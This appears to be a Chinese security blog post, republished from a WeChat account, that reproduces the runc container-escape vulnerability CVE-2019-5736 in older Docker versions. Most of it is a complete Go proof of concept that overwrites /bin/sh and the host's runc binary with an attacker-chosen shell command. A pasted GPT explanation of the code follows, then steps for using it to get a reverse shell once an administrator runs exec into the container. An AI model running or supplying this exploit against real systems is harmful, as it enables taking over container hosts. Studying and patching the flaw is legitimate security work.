前言
利用条件
DockerVersion<18.09.2
RunCVersion<1.0-rc6
攻击者具有容器文件上传权限&管理员使用exec访问容器||攻击者具有启动容器权限
利用原理
这里的问题存在于,当我们去进入一个容器的时候,会去调用Runc执行一些相关的程序,这个版本的Runc允许我们覆盖其执行的二进制文件,从而执行了我们写入的命令造成了容器逃逸。
复现过程
poc如下
package main
// Implementation of CVE-2019-5736
// Created with help from @singe, @_cablethief, and @feexd.
// This commit also helped a ton to understand the vuln
// https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
import(
"fmt"
"io/ioutil"
"os"
"strconv"
"strings"
"flag"
)
var shellCmd string
func init(){
flag.StringVar(&shellCmd,"shell","","Execute arbitrary commands")
flag.Parse()
}
func main(){
// This is the line of shell commands that will execute on the host
var payload ="#!/bin/bash n"+ shellCmd
// First we overwrite /bin/sh with the /proc/self/exe interpreter path
fd, err := os.Create("/bin/sh")
if err !=nil{
fmt.Println(err)
return
}
fmt.Fprintln(fd,"#!/proc/self/exe")
err = fd.Close()
if err !=nil{
fmt.Println(err)
return
}
fmt.Println("[+] Overwritten /bin/sh successfully")
// Loop through all processes to find one whose cmdline includes runcinit
// This will be the process created by runc
var found int
for found ==0{
pids, err := ioutil.ReadDir("/proc")
if err !=nil{
fmt.Println(err)
return
}
for _, f := range pids {
fbytes, _ := ioutil.ReadFile("/proc/"+ f.Name()+"/cmdline")
fstring :=string(fbytes)
if strings.Contains(fstring,"runc"){
fmt.Println("[+] Found the PID:", f.Name())
found, err = strconv.Atoi(f.Name())
if err !=nil{
fmt.Println(err)
return
}
}
}
}
// We will use the pid to get a file handle for runc on the host.
var handleFd =-1
for handleFd ==-1{
// Note, you do not need to use the O_PATH flag for the exploit to work.
handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY,0777)
ifint(handle.Fd())>0{
handleFd =int(handle.Fd())
}
}
fmt.Println("[+] Successfully got the file handle")
// Now that we have the file handle, lets write to the runc binary and overwrite it
// It will maintain it's executable flag
for{
writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC,0700)
ifint(writeHandle.Fd())>0{
fmt.Println("[+] Successfully got write handle", writeHandle)
fmt.Println("[+] The command executed is"+ payload)
writeHandle.Write([]byte(payload))
return
}
}
}
这是gpt对这段代码的讲解
这段代码是一个实现了CVE-2019-5736漏洞的程序。该漏洞影响了容器技术中的runc工具,允许攻击者在容器内部执行恶意代码并获取主机的控制权。
代码的主要逻辑如下:
导入所需的包和定义全局变量。
在init()函数中,使用flag包解析命令行参数,其中包括一个名为"shell"的参数,用于指定要执行的任意命令。
在main()函数中,定义了一个payload变量,其中包含了要在主机上执行的shell命令。
创建一个文件描述符fd,用于打开并覆盖主机上的/bin/sh文件。将其内容修改为#!/proc/self/exe,这样当/bin/sh被执行时,实际上会执行当前程序自身。
循环遍历/proc目录下的所有进程,查找包含"runc"的进程。一旦找到,获取其PID,并将其转换为整数类型。
使用PID获取runc进程的文件句柄handleFd。
使用handleFd打开/proc/self/fd目录下的文件,将payload写入该文件,覆盖runc二进制文件。
程序结束。
这段代码的目的是通过修改runc二进制文件,将其替换为恶意代码,从而实现对主机的控制。请注意,这段代码仅用于演示和教育目的,不应用于非法活动。对于真实环境中的漏洞利用,请遵循法律和道德准则。
首先当我们成功getshell进入到容器后,编译上面的payload(shellCmd换成自己想执行的指令),然后执行,
这里需要root权限。
这时候当系统管理员去exec进入这个容器的时候,就会执行上面的指令,成功反弹了shell
★
原文始发于微信公众号(渗透安全团队):docker逃逸漏洞的复现过程
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论